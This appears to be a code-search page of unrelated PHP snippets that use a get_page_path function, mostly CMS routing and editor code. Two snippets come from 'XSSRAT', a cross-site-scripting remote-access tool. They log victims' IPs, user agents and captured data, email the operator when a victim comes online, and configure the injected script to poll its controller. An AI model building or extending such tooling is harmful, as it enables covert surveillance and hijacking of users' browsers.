Beispiel #1
0
<?php

// ------------------------------------------------------------------------->
// define static variables
// ------------------------------------------------------------------------->
define('PATH', dirname(__FILE__));
// ------------------------------------------------------------------------->
// get page contents
// ------------------------------------------------------------------------->
ob_start();
include get_page_path(PATH . '/pages/');
$bodyContent = ob_get_contents();
ob_end_clean();
// ------------------------------------------------------------------------->
// render output
// ------------------------------------------------------------------------->
if (@$htmlHeader == '') {
    $htmlHeader = 'html-header';
}
if (@$htmlFooter == '') {
    $htmlFooter = 'html-footer';
}
require PATH . '/parts/' . $htmlHeader . '.php';
echo $bodyContent;
require PATH . '/parts/' . $htmlFooter . '.php';
// ------------------------------------------------------------------------->
// path functions
// ------------------------------------------------------------------------->
function get_page_path($templatePath)
{
    $uri_string = get_uri_string();
Beispiel #2
0
                    <?php 
    }
    ?>

                </ul>

                    <?php 
    if ($versions->get_pending_page_version_id(get_page_path()) || $versions->get_pending_page_version_id("layout")) {
        ?>
                    <button id="publish-button" class="btn btn-primary pull-right" page="<?php 
        echo get_page_path();
        ?>
">Publish</button>
                    <?php 
    } else {
        ?>
                    <button id="publish-button" class="btn btn-primary disabled pull-right" page="<?php 
        echo get_page_path();
        ?>
">This page is published</button>
                    <?php 
    }
    ?>
                    <a href="/admin"><span class="btn btn-primary pull-right" style="margin-right:15px">Admin CP</span></a>
                    <span onclick="stopEditor()" class="btn btn-primary pull-right" style="margin-right:15px">Stop Editor</span>
              </div><!--/.nav-collapse -->
            </div>
          </div>
        </div>
        <?php 
}
<?php

require '../private/vendor/autoload.php';
function get_page_action()
{
    if (!empty($_GET['action'])) {
        $action = $_GET['action'];
        $action = basename($action);
    } else {
        $action = "home";
    }
    return $action;
}
function get_page_path($action)
{
    $content_dir = $_SERVER['DOCUMENT_ROOT'] . '/../private/content/';
    $page_path = $content_dir . "/{$action}.php";
    if (file_exists($page_path)) {
        return $page_path;
    } else {
        return "error/404.html";
    }
}
$action = get_page_action();
$path = get_page_path($action);
$TPL;
include $path;
Beispiel #4
0
                $res = $project->getProjectByTicket($ticket);
                if ($res) {
                    $pmd->ticket = $ticket;
                    $pmd->p_id = $project->id;
                    $pmd->clientIP = htmlspecialchars(quotes($ip));
                    $pmd->time = $curtime;
                    $pmd->status = 1;
                    $pmd->ec = $ec;
                    $pmd->userAgent = htmlspecialchars(quotes($useragent));
                    $pmd->Referer = htmlspecialchars(quotes($referer));
                    $pmd->Data = utf8_decode(urldecode($data));
                    $pmd_id = $pmd->addPMD();
                }
            }
            $email = $project->getMailByTiket($ticket);
            if ($email) {
                //sea maill
                $saemail = new SaeMail();
                $message = "亲爱的用户,你有新用户上线了。\r\n\t\t\t\t\t\t\t\r\n\tIP:" . $pmd->clientIP . "\r\n\tReferer:" . $pmd->Referer . "\r\n\tuserAgent:" . $pmd->userAgent . "\r\n\t\r\n\t本邮件来自于: http://xssrat.sinaapp.com\r\n\tMak3 hack m0r3 c00l!";
                $ret = $saemail->quickSend($email, 'XSSRAT - 新用户上线', $message, MAIL_ACCOUNT, MAIL_PASS);
                if ($ret === false) {
                    $log->error($mail->errmsg());
                }
            }
        }
        $db->closeDB();
    }
    $net_config = "rat.net.config = { protocol:\"" . get_protocol() . "\"," . "port:" . get_port() . ",host:\"" . get_host() . "\",api_path:\"" . get_page_path() . "\"," . "interval:3000,ticket:\"" . htmlspecialchars($ticket) . "\",pmd_id:\"" . $pmd_id . "\",a_id:0};\n";
    $log->info("Time:" . $curtime . " IP:" . $ip . " UA:" . $useragent . " RE:" . $referer . " DATA:" . $data);
    die($net_config);
}
Beispiel #5
0
<?php

include "header.php";
include get_page_path();
include "footer.php";
include "sidebar.php";
    function _integrate_builderengine_js($options = array())
    {
        global $active_show;
        $user = $active_show->controller->user;
        if (!isset($options['include_jquery']) || $options['include_jquery'] === true) {
            echo '<script src="' . home_url("/builderengine/public/js/jquery.js") . '"></script>';
        }
        ?>

            <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js" ></script>
            
            <script src="<?php 
        echo home_url("/builderengine/public/js/editor/ckeditor.js");
        ?>
"></script>

            <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js"></script>
            <script src="http://vitalets.github.io/angular-xeditable/dist/js/xeditable.js"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/js/absolute-json.js");
        ?>
"></script>

            
            <script type="text/javascript">
                var page_path = "<?php 
        echo get_page_path();
        ?>
";
                var theme_path = "<?php 
        echo get_theme_path();
        ?>
";
                var blocks_for_reload = {};
                var disable_auto_block_reload = false;
                var getting_block = false;

                var has_focus = true;
                var var_editor_mode = "";

            </script>
            <link rel="stylesheet" type="text/css" href="<?php 
        echo home_url("/builderengine/public/editor/css/main.css?4");
        ?>
" />
			

            <script type="text/javascript">

                $(document).ready(function(){
                    if(window.parent.page_url_change)
                    window.parent.page_url_change(page_path);
                    jQuery(document).bind('editor_mode_change',  function (event, action){
                        if(action == "editModeEnable")
                            var_editor_mode = "edit";
                        if(action == "blockStyleModeEnable")
                            var_editor_mode = "style";

                        console.log('Received event '+action);
                        if(action == "blockStyleModeEnable" || action == "editModeEnable" || action == 'resizeModeEnable' || action == 'moveModeEnable' || action == 'addBlockModeEnable' || action == 'deleteBlockModeEnable')
                        {
                            disable_auto_block_reload = true;
                        }

                        if(action == "blockStyleModeDisable" || action == "editModeDisable" || action == 'resizeModeDisable' || action == 'moveModeDisable' || action == 'addBlockModeDisable' || action == 'deleteBlockModeDisable')
                        {
                            var_editor_mode = "";
                            disable_auto_block_reload = false;
                        }
                    });
                    <?php 
        $copied_block = $user->get_session_data("copied_block");
        if ($copied_block) {
            ?>
                        $("#paste-block-button").parent().removeClass("disabled");
                    <?php 
        }
        ?>
  


                    $("#editor-holder").css('display','none');
                    <?php 
        if ($user->is_member_of("Administrators") || $user->is_member_of("Frontend Editor") || $user->is_member_of("Frontend Manager")) {
            ?>
                    //$("body").css("padding-top", "45px");

                   
                    <?php 
        }
        ?>
                    //$("html").attr('ng-app','');
                    //$.getScript("http://ajax.googleapis.com/ajax/libs/angularjs/1.2.8/angular.min.js");
                });
            </script>
            <script src="<?php 
        echo home_url("/builderengine/public/editor/js/remove_block.js");
        ?>
"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/editor/js/undo_block.js");
        ?>
"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/editor/js/resize.js");
        ?>
"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/editor/js/admin.js?v4");
        ?>
"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/editor/js/main.js?v4");
        ?>
"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/editor/js/edit_off_sorts.js");
        ?>
"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/js/frontend-editor.js");
        ?>
"></script>
            <script src="<?php 
        echo home_url("/builderengine/public/js/bootstrap-wysihtml5.js");
        ?>
"></script>
	
				
            <?php 
    }
    function integrate_builderengine_js()
    {
        global $active_show;
        $user = $active_show->controller->user;
        ?>

            <script src="/builderengine/public/js/jquery.js"></script>
            <script src="http://code.jquery.com/ui/1.10.3/jquery-ui.js" ></script>
            
            <script src="/builderengine/public/js/editor/ckeditor.js"></script>

            <script src="http://ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.min.js"></script>
            <script src="http://vitalets.github.io/angular-xeditable/dist/js/xeditable.js"></script>

            
            <script type="text/javascript">
                var page_path = "<?php 
        echo get_page_path();
        ?>
";
                var theme_path = "<?php 
        echo get_theme_path();
        ?>
";
                var blocks_for_reload = {};
                var disable_auto_block_reload = false;
                var getting_block = false;

                var has_focus = true;
                var var_editor_mode = "";

            </script>
            <script src="/builderengine/public/js/frontend-editor.js"></script>
            <script type="text/javascript">
                function reload_block(block_name, page_path, forced)
                {
                    //if(!has_focus)
                    //    return;
                    if(!forced && disable_auto_block_reload ){
                        alert('nope ' + forced);
                        return;
                    }
                    var getting_block = true;

                    jQuery.ajax({
                        type: "POST",
                        data: { page_path: page_path },
                         url:    '/layout_system/ajax/get_block/' +block_name + '?time='+new Date().getTime(),
                         success: function(data) {
                                    $('.block').each(function(){
                                        if($(this).attr("name") == block_name){

                                            old_data = $(this).html();

                                            cloned = $(this).clone();
                                            cloned = cloned.replaceWith(data);
                                            cloned_data = cloned.html();
                                            $(this).attr('class', cloned.attr('class'));
                                            cloned.remove();
                                            if(old_data != cloned_data || forced)
                                                $(this).replaceWith(data);
                                            if(var_editor_mode == "edit")
                                                initializeCustomEditorClickEvent();
                                            if(var_editor_mode == "style")
                                                initializeStyleEditorClickEvent();
                                                                            
                                        }
                                    }); 

                                    var getting_block = false;
                                    },
                         async:   true
                    });

                    
                }
                $(document).ready(function(){
                    if(window.parent.page_url_change)
                    window.parent.page_url_change(page_path);
                    jQuery(document).bind('editor_mode_change',  function (event, action){
                        if(action == "editModeEnable")
                            var_editor_mode = "edit";
                        if(action == "blockStyleModeEnable")
                            var_editor_mode = "style";

                        console.log('Received event '+action);
                        if(action == "blockStyleModeEnable" || action == "editModeEnable" || action == 'resizeModeEnable' || action == 'moveModeEnable' || action == 'addBlockModeEnable' || action == 'deleteBlockModeEnable')
                        {
                            disable_auto_block_reload = true;
                        }

                        if(action == "blockStyleModeDisable" || action == "editModeDisable" || action == 'resizeModeDisable' || action == 'moveModeDisable' || action == 'addBlockModeDisable' || action == 'deleteBlockModeDisable')
                        {
                            var_editor_mode = "";
                            disable_auto_block_reload = false;
                        }
                    });
                    <?php 
        $copied_block = $this->user->get_session_data("copied_block");
        if ($copied_block) {
            ?>
                        $("#paste-block-button").parent().removeClass("disabled");
                    <?php 
        }
        ?>
  


                    $("#editor-holder").css('display','none');
                    <?php 
        if ($user->is_member_of("Administrators") || $user->is_member_of("Frontend Editor") || $user->is_member_of("Frontend Manager")) {
            ?>
                    //$("body").css("padding-top", "45px");

                   
                    <?php 
        }
        ?>
                    //$("html").attr('ng-app','');
                    //$.getScript("http://ajax.googleapis.com/ajax/libs/angularjs/1.2.8/angular.min.js");
                });
            </script>
            
            <script src="/builderengine/public/js/bootstrap-wysihtml5.js"></script>

            <?php 
    }
Beispiel #8
0
                if(MobileEsp.DetectXbox())                            { return "Xbox"};
				if(this.isLaptop())							{ return "Laptop"};
                if(this.isVirtualMachine())                 { return "Virtual Machine"};

		return 'Unknown';
	}
};

rat.regCmp('rat.hardware');
<?php 
require_once "bin/util/util.php";
$ticket = htmlspecialchars($_GET["t"], ENT_QUOTES, 'UTF-8');
$protocol = get_protocol();
$port = get_port();
$host = get_host();
$api_path = get_page_path() . "/api";
$interval = 3000;
?>
rat.net = {
	config:{
			protocol:"<?php 
echo $protocol;
?>
",// @String http or https
			port:<?php 
echo $port;
?>
,// @int like 80 or 8080
			host:"<?php 
echo $host;
?>
function load_page($page_name, array $params = array())
{
    $page_cfg = get_page_config($page_name);
    $page_path = get_page_path($page_name);
    if (!file_exists($page_path)) {
        return error_404($page_name, $params);
    }
    list($content, $template) = treat_file_by_extension($page_path, $params);
    if ($template) {
        settings('content', settings('pre_content', null, '') . $content);
        settings('subtitle', $page_name);
        $content = load_template($params);
    }
    return $content;
}